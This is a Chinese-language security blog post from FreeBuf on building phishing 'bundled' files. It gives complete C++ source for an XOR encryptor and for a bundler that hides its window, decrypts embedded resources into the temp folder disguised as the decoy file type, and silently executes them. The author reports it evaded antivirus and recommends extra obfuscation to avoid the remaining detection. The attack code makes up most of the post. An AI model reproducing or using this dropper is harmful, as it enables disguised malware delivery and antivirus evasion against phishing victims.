freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

钓鱼捆绑文件探索之路
渗透测试安全攻防 2024-04-06 19:01:33 48962

[toc]

前记

看到奇安信某篇钓鱼捆绑技术的文章后得到启发,于是开始学习探索

浅谈原理

将exe和pdf或者其他格式的文件写到资源节中,执行捆绑文件的时候动态获取并解密资源节的内容保存到磁盘的tmp目录,最后执行保存到磁盘的文件即可

代码汇总

加密文件

#include<windows.h>  
#include <iostream>  
using namespace std;
int main(int argc, char* argv[])
{
    int r = 100;
    HANDLE file = CreateFileA(argv[1], GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    DWORD64 size = GetFileSize(file, NULL);
    char* bytes =(char*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
    ReadFile(file, bytes, size, NULL, NULL);
    HANDLE file2 = CreateFileA("sec.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    LPVOID res = bytes;
    int b;
    DWORD64 c = size;
    srand(r);
    while (c--) {
        b = rand() % 255 + 1;//1-255
        *bytes^= b;
        bytes++;
    }
    if (!WriteFile(file2, res, size, NULL, NULL)) {
        std::cerr << "Error writing to file" << std::endl;
        DWORD aaa=GetLastError();
        return 1;
    }
    CloseHandle(file2);
    CloseHandle(file);
	return 0;
}

捆绑文件

#include <iostream>
#include <windows.h>

int r=100;
using namespace std;
static int num = 0;

void getreal(char *dest,char *src, DWORD num)
{
    int b;
    srand(r);
    while (num--) {
        b = rand() % 255 + 1;//1-255
        *dest++ = *src++^b;
    }
}
void HideWindow() {
    HWND hwnd = GetForegroundWindow();
    if (hwnd) {
        ShowWindow(hwnd, SW_HIDE);
    }
}
void EnumTypesFunc(HMODULE hModule, LPTSTR lpType, LPTSTR lParam) {
    num++;
    DWORD dwNum = WideCharToMultiByte(CP_OEMCP, NULL, lpType, -1, NULL, 0, NULL, FALSE);
    char* fileType =new char[dwNum];
    WideCharToMultiByte(CP_OEMCP, NULL, lpType, -1, fileType, dwNum, NULL, FALSE);

    CHAR PathFileName[MAX_PATH] = { 0 };
    CHAR FileName[MAX_PATH] = { 0 };

    HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(100 + num), fileType);
    HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
    DWORD FileSize = SizeofResource(NULL, Resource);
    LPVOID PFILE = LockResource(ResourceGlobal);
    GetModuleFileNameA(NULL, PathFileName, MAX_PATH);

    strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);
    string FileNameFinal = FileName;
    FileNameFinal.replace(FileNameFinal.rfind('.'), 4, "." + string(fileType));

    CHAR czTempPath[MAX_PATH] = { 0 };
    GetTempPathA(MAX_PATH, czTempPath);
    FileNameFinal = czTempPath + FileNameFinal;

    strcpy_s(FileName, FileNameFinal.c_str());

    HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD dwSize;
    char *real= new char[FileSize];
    getreal(real,(char *)PFILE,FileSize);
    WriteFile(FILE, real, FileSize, &dwSize, NULL);
    CloseHandle(FILE);

    Sleep(500);
    SHELLEXECUTEINFOA shellexecute = { 0 };
    shellexecute.cbSize = sizeof(shellexecute);
    shellexecute.lpFile = FileName;
    shellexecute.nShow = SW_SHOW;
    ShellExecuteExA(&shellexecute);
}

int main(int argc, char* argv[])
{
    HideWindow();
    EnumResourceTypes(NULL,
        (ENUMRESTYPEPROC)EnumTypesFunc,
        0);
}

因为对资源节内容进行了加密,所以这里资源节里完全没有PE特征

image-20240406114653254.png

后记

由于解析文件后缀依靠填写的文件真实格式,因此可能被杀软检测到资源节的exe关键字,建议宏定义或者加密处理(懒得改代码了)。经过测试杀软均不拦截且正常运行,当然如果exe文件落地后报毒则和捆绑本身操作无关

reference

https://forum.butian.net/share/1778
https://github.com/testxxxzzz/Bundler-bypass/blob/main/Bundler_C/main.cpp
# 系统安全 # 钓鱼 # 网络安全技术 # 捆绑
本文为 渗透测试安全攻防 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
安全研究
渗透测试安全攻防 LV.5
公众号《渗透测试安全攻防》,欢迎来找我玩
  • 38 文章数
  • 36 关注者
flaskpython代码审计思路及实战记录
2025-02-03
flask安全指南
2025-01-11
windows栈溢出教程
2024-11-25
文章目录